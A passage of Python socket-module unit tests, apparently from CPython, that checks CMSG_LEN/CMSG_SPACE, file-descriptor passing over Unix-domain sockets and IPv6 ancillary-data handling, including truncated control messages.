self.sendToServer(b"Mary had a little lamb")
class CmsgMacroTests(unittest.TestCase):
# Test the functions CMSG_LEN() and CMSG_SPACE(). Tests
# assumptions used by sendmsg() and recvmsg[_into](), which share
# code with these functions.
# Match the definition in socketmodule.c
try:
import _testcapi
except ImportError:
socklen_t_limit = 0x7fffffff
else:
socklen_t_limit = min(0x7fffffff, _testcapi.INT_MAX)
@requireAttrs(socket, "CMSG_LEN")
def testCMSG_LEN(self):
# Test CMSG_LEN() with various valid and invalid values,
# checking the assumptions used by recvmsg() and sendmsg().
toobig = self.socklen_t_limit - socket.CMSG_LEN(0) + 1
values = list(range(257)) + list(range(toobig - 257, toobig))
# struct cmsghdr has at least three members, two of which are ints
self.assertGreater(socket.CMSG_LEN(0), array.array("i").itemsize * 2)
for n in values:
ret = socket.CMSG_LEN(n)
# This is how recvmsg() calculates the data size
self.assertEqual(ret - socket.CMSG_LEN(0), n)
self.assertLessEqual(ret, self.socklen_t_limit)
self.assertRaises(OverflowError, socket.CMSG_LEN, -1)
# sendmsg() shares code with these functions, and requires
# that it reject values over the limit.
self.assertRaises(OverflowError, socket.CMSG_LEN, toobig)
self.assertRaises(OverflowError, socket.CMSG_LEN, sys.maxsize)
@requireAttrs(socket, "CMSG_SPACE")
def testCMSG_SPACE(self):
# Test CMSG_SPACE() with various valid and invalid values,
# checking the assumptions used by sendmsg().
toobig = self.socklen_t_limit - socket.CMSG_SPACE(1) + 1
values = list(range(257)) + list(range(toobig - 257, toobig))
last = socket.CMSG_SPACE(0)
# struct cmsghdr has at least three members, two of which are ints
self.assertGreater(last, array.array("i").itemsize * 2)
for n in values:
ret = socket.CMSG_SPACE(n)
self.assertGreaterEqual(ret, last)
self.assertGreaterEqual(ret, socket.CMSG_LEN(n))
self.assertGreaterEqual(ret, n + socket.CMSG_LEN(0))
self.assertLessEqual(ret, self.socklen_t_limit)
last = ret
self.assertRaises(OverflowError, socket.CMSG_SPACE, -1)
# sendmsg() shares code with these functions, and requires
# that it reject values over the limit.
self.assertRaises(OverflowError, socket.CMSG_SPACE, toobig)
self.assertRaises(OverflowError, socket.CMSG_SPACE, sys.maxsize)
class SCMRightsTest(SendrecvmsgServerTimeoutBase):
# Tests for file descriptor passing on Unix-domain sockets.
# Invalid file descriptor value that's unlikely to evaluate to a
# real FD even if one of its bytes is replaced with a different
# value (which shouldn't actually happen).
badfd = -0x5555
def newFDs(self, n):
# Return a list of n file descriptors for newly-created files
# containing their list indices as ASCII numbers.
fds = []
for i in range(n):
fd, path = tempfile.mkstemp()
self.addCleanup(os.unlink, path)
self.addCleanup(os.close, fd)
os.write(fd, str(i).encode())
fds.append(fd)
return fds
def checkFDs(self, fds):
# Check that the file descriptors in the given list contain
# their correct list indices as ASCII numbers.
for n, fd in enumerate(fds):
os.lseek(fd, 0, os.SEEK_SET)
self.assertEqual(os.read(fd, 1024), str(n).encode())
def registerRecvmsgResult(self, result):
self.addCleanup(self.closeRecvmsgFDs, result)
def closeRecvmsgFDs(self, recvmsg_result):
# Close all file descriptors specified in the ancillary data
# of the given return value from recvmsg() or recvmsg_into().
for cmsg_level, cmsg_type, cmsg_data in recvmsg_result[1]:
if (cmsg_level == socket.SOL_SOCKET and
cmsg_type == socket.SCM_RIGHTS):
fds = array.array("i")
fds.frombytes(cmsg_data[:
len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])
for fd in fds:
os.close(fd)
def createAndSendFDs(self, n):
# Send n new file descriptors created by newFDs() to the
# server, with the constant MSG as the non-ancillary data.
self.assertEqual(
self.sendmsgToServer([MSG],
[(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", self.newFDs(n)))]),
len(MSG))
def checkRecvmsgFDs(self, numfds, result, maxcmsgs=1, ignoreflags=0):
# Check that constant MSG was received with numfds file
# descriptors in a maximum of maxcmsgs control messages (which
# must contain only complete integers). By default, check
# that MSG_CTRUNC is unset, but ignore any flags in
# ignoreflags.
msg, ancdata, flags, addr = result
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, checkunset=socket.MSG_CTRUNC,
ignore=ignoreflags)
self.assertIsInstance(ancdata, list)
self.assertLessEqual(len(ancdata), maxcmsgs)
fds = array.array("i")
for item in ancdata:
self.assertIsInstance(item, tuple)
cmsg_level, cmsg_type, cmsg_data = item
self.assertEqual(cmsg_level, socket.SOL_SOCKET)
self.assertEqual(cmsg_type, socket.SCM_RIGHTS)
self.assertIsInstance(cmsg_data, bytes)
self.assertEqual(len(cmsg_data) % SIZEOF_INT, 0)
fds.frombytes(cmsg_data)
self.assertEqual(len(fds), numfds)
self.checkFDs(fds)
def testFDPassSimple(self):
# Pass a single FD (array read from bytes object).
self.checkRecvmsgFDs(1, self.doRecvmsg(self.serv_sock,
len(MSG), 10240))
def _testFDPassSimple(self):
self.assertEqual(
self.sendmsgToServer(
[MSG],
[(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", self.newFDs(1)).tobytes())]),
len(MSG))
def testMultipleFDPass(self):
# Pass multiple FDs in a single array.
self.checkRecvmsgFDs(4, self.doRecvmsg(self.serv_sock,
len(MSG), 10240))
def _testMultipleFDPass(self):
self.createAndSendFDs(4)
@requireAttrs(socket, "CMSG_SPACE")
def testFDPassCMSG_SPACE(self):
# Test using CMSG_SPACE() to calculate ancillary buffer size.
self.checkRecvmsgFDs(
4, self.doRecvmsg(self.serv_sock, len(MSG),
socket.CMSG_SPACE(4 * SIZEOF_INT)))
@testFDPassCMSG_SPACE.client_skip
def _testFDPassCMSG_SPACE(self):
self.createAndSendFDs(4)
def testFDPassCMSG_LEN(self):
# Test using CMSG_LEN() to calculate ancillary buffer size.
self.checkRecvmsgFDs(1,
self.doRecvmsg(self.serv_sock, len(MSG),
socket.CMSG_LEN(4 * SIZEOF_INT)),
# RFC 3542 says implementations may set
# MSG_CTRUNC if there isn't enough space
# for trailing padding.
ignoreflags=socket.MSG_CTRUNC)
def _testFDPassCMSG_LEN(self):
self.createAndSendFDs(1)
@unittest.skipIf(sys.platform == "darwin", "skipping, see issue #12958")
@unittest.skipIf(AIX, "skipping, see issue #22397")
@requireAttrs(socket, "CMSG_SPACE")
def testFDPassSeparate(self):
# Pass two FDs in two separate arrays. Arrays may be combined
# into a single control message by the OS.
self.checkRecvmsgFDs(2,
self.doRecvmsg(self.serv_sock, len(MSG), 10240),
maxcmsgs=2)
@testFDPassSeparate.client_skip
@unittest.skipIf(sys.platform == "darwin", "skipping, see issue #12958")
@unittest.skipIf(AIX, "skipping, see issue #22397")
def _testFDPassSeparate(self):
fd0, fd1 = self.newFDs(2)
self.assertEqual(
self.sendmsgToServer([MSG], [(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", [fd0])),
(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", [fd1]))]),
len(MSG))
@unittest.skipIf(sys.platform == "darwin", "skipping, see issue #12958")
@unittest.skipIf(AIX, "skipping, see issue #22397")
@requireAttrs(socket, "CMSG_SPACE")
def testFDPassSeparateMinSpace(self):
# Pass two FDs in two separate arrays, receiving them into the
# minimum space for two arrays.
num_fds = 2
self.checkRecvmsgFDs(num_fds,
self.doRecvmsg(self.serv_sock, len(MSG),
socket.CMSG_SPACE(SIZEOF_INT) +
socket.CMSG_LEN(SIZEOF_INT * num_fds)),
maxcmsgs=2, ignoreflags=socket.MSG_CTRUNC)
@testFDPassSeparateMinSpace.client_skip
@unittest.skipIf(sys.platform == "darwin", "skipping, see issue #12958")
@unittest.skipIf(AIX, "skipping, see issue #22397")
def _testFDPassSeparateMinSpace(self):
fd0, fd1 = self.newFDs(2)
self.assertEqual(
self.sendmsgToServer([MSG], [(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", [fd0])),
(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", [fd1]))]),
len(MSG))
def sendAncillaryIfPossible(self, msg, ancdata):
# Try to send msg and ancdata to server, but if the system
# call fails, just send msg with no ancillary data.
try:
nbytes = self.sendmsgToServer([msg], ancdata)
except OSError as e:
# Check that it was the system call that failed
self.assertIsInstance(e.errno, int)
nbytes = self.sendmsgToServer([msg])
self.assertEqual(nbytes, len(msg))
@unittest.skipIf(sys.platform == "darwin", "see issue #24725")
def testFDPassEmpty(self):
# Try to pass an empty FD array. Can receive either no array
# or an empty array.
self.checkRecvmsgFDs(0, self.doRecvmsg(self.serv_sock,
len(MSG), 10240),
ignoreflags=socket.MSG_CTRUNC)
def _testFDPassEmpty(self):
self.sendAncillaryIfPossible(MSG, [(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
b"")])
def testFDPassPartialInt(self):
# Try to pass a truncated FD array.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), 10240)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, ignore=socket.MSG_CTRUNC)
self.assertLessEqual(len(ancdata), 1)
for cmsg_level, cmsg_type, cmsg_data in ancdata:
self.assertEqual(cmsg_level, socket.SOL_SOCKET)
self.assertEqual(cmsg_type, socket.SCM_RIGHTS)
self.assertLess(len(cmsg_data), SIZEOF_INT)
def _testFDPassPartialInt(self):
self.sendAncillaryIfPossible(
MSG,
[(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", [self.badfd]).tobytes()[:-1])])
@requireAttrs(socket, "CMSG_SPACE")
def testFDPassPartialIntInMiddle(self):
# Try to pass two FD arrays, the first of which is truncated.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), 10240)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, ignore=socket.MSG_CTRUNC)
self.assertLessEqual(len(ancdata), 2)
fds = array.array("i")
# Arrays may have been combined in a single control message
for cmsg_level, cmsg_type, cmsg_data in ancdata:
self.assertEqual(cmsg_level, socket.SOL_SOCKET)
self.assertEqual(cmsg_type, socket.SCM_RIGHTS)
fds.frombytes(cmsg_data[:
len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])
self.assertLessEqual(len(fds), 2)
self.checkFDs(fds)
@testFDPassPartialIntInMiddle.client_skip
def _testFDPassPartialIntInMiddle(self):
fd0, fd1 = self.newFDs(2)
self.sendAncillaryIfPossible(
MSG,
[(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", [fd0, self.badfd]).tobytes()[:-1]),
(socket.SOL_SOCKET,
socket.SCM_RIGHTS,
array.array("i", [fd1]))])
def checkTruncatedHeader(self, result, ignoreflags=0):
# Check that no ancillary data items are returned when data is
# truncated inside the cmsghdr structure.
msg, ancdata, flags, addr = result
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True, checkset=socket.MSG_CTRUNC,
ignore=ignoreflags)
def testCmsgTruncNoBufSize(self):
# Check that no ancillary data is received when no buffer size
# is specified.
self.checkTruncatedHeader(self.doRecvmsg(self.serv_sock, len(MSG)),
# BSD seems to set MSG_CTRUNC only
# if an item has been partially
# received.
ignoreflags=socket.MSG_CTRUNC)
def _testCmsgTruncNoBufSize(self):
self.createAndSendFDs(1)
def testCmsgTrunc0(self):
# Check that no ancillary data is received when buffer size is 0.
self.checkTruncatedHeader(self.doRecvmsg(self.serv_sock, len(MSG), 0),
ignoreflags=socket.MSG_CTRUNC)
def _testCmsgTrunc0(self):
self.createAndSendFDs(1)
# Check that no ancillary data is returned for various non-zero
# (but still too small) buffer sizes.
def testCmsgTrunc1(self):
self.checkTruncatedHeader(self.doRecvmsg(self.serv_sock, len(MSG), 1))
def _testCmsgTrunc1(self):
self.createAndSendFDs(1)
def testCmsgTrunc2Int(self):
# The cmsghdr structure has at least three members, two of
# which are ints, so we still shouldn't see any ancillary
# data.
self.checkTruncatedHeader(self.doRecvmsg(self.serv_sock, len(MSG),
SIZEOF_INT * 2))
def _testCmsgTrunc2Int(self):
self.createAndSendFDs(1)
def testCmsgTruncLen0Minus1(self):
self.checkTruncatedHeader(self.doRecvmsg(self.serv_sock, len(MSG),
socket.CMSG_LEN(0) - 1))
def _testCmsgTruncLen0Minus1(self):
self.createAndSendFDs(1)
# The following tests try to truncate the control message in the
# middle of the FD array.
def checkTruncatedArray(self, ancbuf, maxdata, mindata=0):
# Check that file descriptor data is truncated to between
# mindata and maxdata bytes when received with buffer size
# ancbuf, and that any complete file descriptor numbers are
# valid.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), ancbuf)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, checkset=socket.MSG_CTRUNC)
if mindata == 0 and ancdata == []:
return
self.assertEqual(len(ancdata), 1)
cmsg_level, cmsg_type, cmsg_data = ancdata[0]
self.assertEqual(cmsg_level, socket.SOL_SOCKET)
self.assertEqual(cmsg_type, socket.SCM_RIGHTS)
self.assertGreaterEqual(len(cmsg_data), mindata)
self.assertLessEqual(len(cmsg_data), maxdata)
fds = array.array("i")
fds.frombytes(cmsg_data[:
len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])
self.checkFDs(fds)
def testCmsgTruncLen0(self):
self.checkTruncatedArray(ancbuf=socket.CMSG_LEN(0), maxdata=0)
def _testCmsgTruncLen0(self):
self.createAndSendFDs(1)
def testCmsgTruncLen0Plus1(self):
self.checkTruncatedArray(ancbuf=socket.CMSG_LEN(0) + 1, maxdata=1)
def _testCmsgTruncLen0Plus1(self):
self.createAndSendFDs(2)
def testCmsgTruncLen1(self):
self.checkTruncatedArray(ancbuf=socket.CMSG_LEN(SIZEOF_INT),
maxdata=SIZEOF_INT)
def _testCmsgTruncLen1(self):
self.createAndSendFDs(2)
def testCmsgTruncLen2Minus1(self):
self.checkTruncatedArray(ancbuf=socket.CMSG_LEN(2 * SIZEOF_INT) - 1,
maxdata=(2 * SIZEOF_INT) - 1)
def _testCmsgTruncLen2Minus1(self):
self.createAndSendFDs(2)
class RFC3542AncillaryTest(SendrecvmsgServerTimeoutBase):
# Test sendmsg() and recvmsg[_into]() using the ancillary data
# features of the RFC 3542 Advanced Sockets API for IPv6.
# Currently we can only handle certain data items (e.g. traffic
# class, hop limit, MTU discovery and fragmentation settings)
# without resorting to unportable means such as the struct module,
# but the tests here are aimed at testing the ancillary data
# handling in sendmsg() and recvmsg() rather than the IPv6 API
# itself.
# Test value to use when setting hop limit of packet
hop_limit = 2
# Test value to use when setting traffic class of packet.
# -1 means "use kernel default".
traffic_class = -1
def ancillaryMapping(self, ancdata):
# Given ancillary data list ancdata, return a mapping from
# pairs (cmsg_level, cmsg_type) to corresponding cmsg_data.
# Check that no (level, type) pair appears more than once.
d = {}
for cmsg_level, cmsg_type, cmsg_data in ancdata:
self.assertNotIn((cmsg_level, cmsg_type), d)
d[(cmsg_level, cmsg_type)] = cmsg_data
return d
def checkHopLimit(self, ancbufsize, maxhop=255, ignoreflags=0):
# Receive hop limit into ancbufsize bytes of ancillary data
# space. Check that data is MSG, ancillary data is not
# truncated (but ignore any flags in ignoreflags), and hop
# limit is between 0 and maxhop inclusive.
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVHOPLIMIT, 1)
self.misc_event.set()
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), ancbufsize)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, checkunset=socket.MSG_CTRUNC,
ignore=ignoreflags)
self.assertEqual(len(ancdata), 1)
self.assertIsInstance(ancdata[0], tuple)
cmsg_level, cmsg_type, cmsg_data = ancdata[0]
self.assertEqual(cmsg_level, socket.IPPROTO_IPV6)
self.assertEqual(cmsg_type, socket.IPV6_HOPLIMIT)
self.assertIsInstance(cmsg_data, bytes)
self.assertEqual(len(cmsg_data), SIZEOF_INT)
a = array.array("i")
a.frombytes(cmsg_data)
self.assertGreaterEqual(a[0], 0)
self.assertLessEqual(a[0], maxhop)
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testRecvHopLimit(self):
# Test receiving the packet hop limit as ancillary data.
self.checkHopLimit(ancbufsize=10240)
@testRecvHopLimit.client_skip
def _testRecvHopLimit(self):
# Need to wait until server has asked to receive ancillary
# data, as implementations are not required to buffer it
# otherwise.
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testRecvHopLimitCMSG_SPACE(self):
# Test receiving hop limit, using CMSG_SPACE to calculate buffer size.
self.checkHopLimit(ancbufsize=socket.CMSG_SPACE(SIZEOF_INT))
@testRecvHopLimitCMSG_SPACE.client_skip
def _testRecvHopLimitCMSG_SPACE(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
# Could test receiving into buffer sized using CMSG_LEN, but RFC
# 3542 says portable applications must provide space for trailing
# padding. Implementations may set MSG_CTRUNC if there isn't
# enough space for the padding.
@requireAttrs(socket.socket, "sendmsg")
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testSetHopLimit(self):
# Test setting hop limit on outgoing packet and receiving it
# at the other end.
self.checkHopLimit(ancbufsize=10240, maxhop=self.hop_limit)
@testSetHopLimit.client_skip
def _testSetHopLimit(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.assertEqual(
self.sendmsgToServer([MSG],
[(socket.IPPROTO_IPV6, socket.IPV6_HOPLIMIT,
array.array("i", [self.hop_limit]))]),
len(MSG))
def checkTrafficClassAndHopLimit(self, ancbufsize, maxhop=255,
ignoreflags=0):
# Receive traffic class and hop limit into ancbufsize bytes of
# ancillary data space. Check that data is MSG, ancillary
# data is not truncated (but ignore any flags in ignoreflags),
# and traffic class and hop limit are in range (hop limit no
# more than maxhop).
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVHOPLIMIT, 1)
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVTCLASS, 1)
self.misc_event.set()
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), ancbufsize)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, checkunset=socket.MSG_CTRUNC,
ignore=ignoreflags)
self.assertEqual(len(ancdata), 2)
ancmap = self.ancillaryMapping(ancdata)
tcdata = ancmap[(socket.IPPROTO_IPV6, socket.IPV6_TCLASS)]
self.assertEqual(len(tcdata), SIZEOF_INT)
a = array.array("i")
a.frombytes(tcdata)
self.assertGreaterEqual(a[0], 0)
self.assertLessEqual(a[0], 255)
hldata = ancmap[(socket.IPPROTO_IPV6, socket.IPV6_HOPLIMIT)]
self.assertEqual(len(hldata), SIZEOF_INT)
a = array.array("i")
a.frombytes(hldata)
self.assertGreaterEqual(a[0], 0)
self.assertLessEqual(a[0], maxhop)
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testRecvTrafficClassAndHopLimit(self):
# Test receiving traffic class and hop limit as ancillary data.
self.checkTrafficClassAndHopLimit(ancbufsize=10240)
@testRecvTrafficClassAndHopLimit.client_skip
def _testRecvTrafficClassAndHopLimit(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testRecvTrafficClassAndHopLimitCMSG_SPACE(self):
# Test receiving traffic class and hop limit, using
# CMSG_SPACE() to calculate buffer size.
self.checkTrafficClassAndHopLimit(
ancbufsize=socket.CMSG_SPACE(SIZEOF_INT) * 2)
@testRecvTrafficClassAndHopLimitCMSG_SPACE.client_skip
def _testRecvTrafficClassAndHopLimitCMSG_SPACE(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket.socket, "sendmsg")
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testSetTrafficClassAndHopLimit(self):
# Test setting traffic class and hop limit on outgoing packet,
# and receiving them at the other end.
self.checkTrafficClassAndHopLimit(ancbufsize=10240,
maxhop=self.hop_limit)
@testSetTrafficClassAndHopLimit.client_skip
def _testSetTrafficClassAndHopLimit(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.assertEqual(
self.sendmsgToServer([MSG],
[(socket.IPPROTO_IPV6, socket.IPV6_TCLASS,
array.array("i", [self.traffic_class])),
(socket.IPPROTO_IPV6, socket.IPV6_HOPLIMIT,
array.array("i", [self.hop_limit]))]),
len(MSG))
@requireAttrs(socket.socket, "sendmsg")
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testOddCmsgSize(self):
# Try to send ancillary data with first item one byte too
# long. Fall back to sending with correct size if this fails,
# and check that second item was handled correctly.
self.checkTrafficClassAndHopLimit(ancbufsize=10240,
maxhop=self.hop_limit)
@testOddCmsgSize.client_skip
def _testOddCmsgSize(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
try:
nbytes = self.sendmsgToServer(
[MSG],
[(socket.IPPROTO_IPV6, socket.IPV6_TCLASS,
array.array("i", [self.traffic_class]).tobytes() + b"\x00"),
(socket.IPPROTO_IPV6, socket.IPV6_HOPLIMIT,
array.array("i", [self.hop_limit]))])
except OSError as e:
self.assertIsInstance(e.errno, int)
nbytes = self.sendmsgToServer(
[MSG],
[(socket.IPPROTO_IPV6, socket.IPV6_TCLASS,
array.array("i", [self.traffic_class])),
(socket.IPPROTO_IPV6, socket.IPV6_HOPLIMIT,
array.array("i", [self.hop_limit]))])
self.assertEqual(nbytes, len(MSG))
# Tests for proper handling of truncated ancillary data
def checkHopLimitTruncatedHeader(self, ancbufsize, ignoreflags=0):
# Receive hop limit into ancbufsize bytes of ancillary data
# space, which should be too small to contain the ancillary
# data header (if ancbufsize is None, pass no second argument
# to recvmsg()). Check that data is MSG, MSG_CTRUNC is set
# (unless included in ignoreflags), and no ancillary data is
# returned.
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVHOPLIMIT, 1)
self.misc_event.set()
args = () if ancbufsize is None else (ancbufsize,)
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), *args)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True, checkset=socket.MSG_CTRUNC,
ignore=ignoreflags)
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testCmsgTruncNoBufSize(self):
# Check that no ancillary data is received when no ancillary
# buffer size is provided.
self.checkHopLimitTruncatedHeader(ancbufsize=None,
# BSD seems to set
# MSG_CTRUNC only if an item
# has been partially
# received.
ignoreflags=socket.MSG_CTRUNC)
@testCmsgTruncNoBufSize.client_skip
def _testCmsgTruncNoBufSize(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testSingleCmsgTrunc0(self):
# Check that no ancillary data is received when ancillary
# buffer size is zero.
self.checkHopLimitTruncatedHeader(ancbufsize=0,
ignoreflags=socket.MSG_CTRUNC)
@testSingleCmsgTrunc0.client_skip
def _testSingleCmsgTrunc0(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
# Check that no ancillary data is returned for various non-zero
# (but still too small) buffer sizes.
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testSingleCmsgTrunc1(self):
self.checkHopLimitTruncatedHeader(ancbufsize=1)
@testSingleCmsgTrunc1.client_skip
def _testSingleCmsgTrunc1(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testSingleCmsgTrunc2Int(self):
self.checkHopLimitTruncatedHeader(ancbufsize=2 * SIZEOF_INT)
@testSingleCmsgTrunc2Int.client_skip
def _testSingleCmsgTrunc2Int(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testSingleCmsgTruncLen0Minus1(self):
self.checkHopLimitTruncatedHeader(ancbufsize=socket.CMSG_LEN(0) - 1)
@testSingleCmsgTruncLen0Minus1.client_skip
def _testSingleCmsgTruncLen0Minus1(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT")
def testSingleCmsgTruncInData(self):
# Test truncation of a control message inside its associated
# data. The message may be returned with its data truncated,
# or not returned at all.
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVHOPLIMIT, 1)
self.misc_event.set()
msg, ancdata, flags, addr = self.doRecvmsg(
self.serv_sock, len(MSG), socket.CMSG_LEN(SIZEOF_INT) - 1)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, checkset=socket.MSG_CTRUNC)
self.assertLessEqual(len(ancdata), 1)
if ancdata:
cmsg_level, cmsg_type, cmsg_data = ancdata[0]
self.assertEqual(cmsg_level, socket.IPPROTO_IPV6)
self.assertEqual(cmsg_type, socket.IPV6_HOPLIMIT)
self.assertLess(len(cmsg_data), SIZEOF_INT)
@testSingleCmsgTruncInData.client_skip
def _testSingleCmsgTruncInData(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
def checkTruncatedSecondHeader(self, ancbufsize, ignoreflags=0):
# Receive traffic class and hop limit into ancbufsize bytes of
# ancillary data space, which should be large enough to
# contain the first item, but too small to contain the header
# of the second. Check that data is MSG, MSG_CTRUNC is set
# (unless included in ignoreflags), and only one ancillary
# data item is returned.
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVHOPLIMIT, 1)
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVTCLASS, 1)
self.misc_event.set()
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), ancbufsize)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, checkset=socket.MSG_CTRUNC,
ignore=ignoreflags)
self.assertEqual(len(ancdata), 1)
cmsg_level, cmsg_type, cmsg_data = ancdata[0]
self.assertEqual(cmsg_level, socket.IPPROTO_IPV6)
self.assertIn(cmsg_type, {socket.IPV6_TCLASS, socket.IPV6_HOPLIMIT})
self.assertEqual(len(cmsg_data), SIZEOF_INT)
a = array.array("i")
a.frombytes(cmsg_data)
self.assertGreaterEqual(a[0], 0)
self.assertLessEqual(a[0], 255)
# Try the above test with various buffer sizes.
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testSecondCmsgTrunc0(self):
self.checkTruncatedSecondHeader(socket.CMSG_SPACE(SIZEOF_INT),
ignoreflags=socket.MSG_CTRUNC)
@testSecondCmsgTrunc0.client_skip
def _testSecondCmsgTrunc0(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testSecondCmsgTrunc1(self):
self.checkTruncatedSecondHeader(socket.CMSG_SPACE(SIZEOF_INT) + 1)
@testSecondCmsgTrunc1.client_skip
def _testSecondCmsgTrunc1(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testSecondCmsgTrunc2Int(self):
self.checkTruncatedSecondHeader(socket.CMSG_SPACE(SIZEOF_INT) +
2 * SIZEOF_INT)
@testSecondCmsgTrunc2Int.client_skip
def _testSecondCmsgTrunc2Int(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testSecondCmsgTruncLen0Minus1(self):
self.checkTruncatedSecondHeader(socket.CMSG_SPACE(SIZEOF_INT) +
socket.CMSG_LEN(0) - 1)
@testSecondCmsgTruncLen0Minus1.client_skip
def _testSecondCmsgTruncLen0Minus1(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
@requireAttrs(socket, "CMSG_SPACE", "IPV6_RECVHOPLIMIT", "IPV6_HOPLIMIT",
"IPV6_RECVTCLASS", "IPV6_TCLASS")
def testSecomdCmsgTruncInData(self):
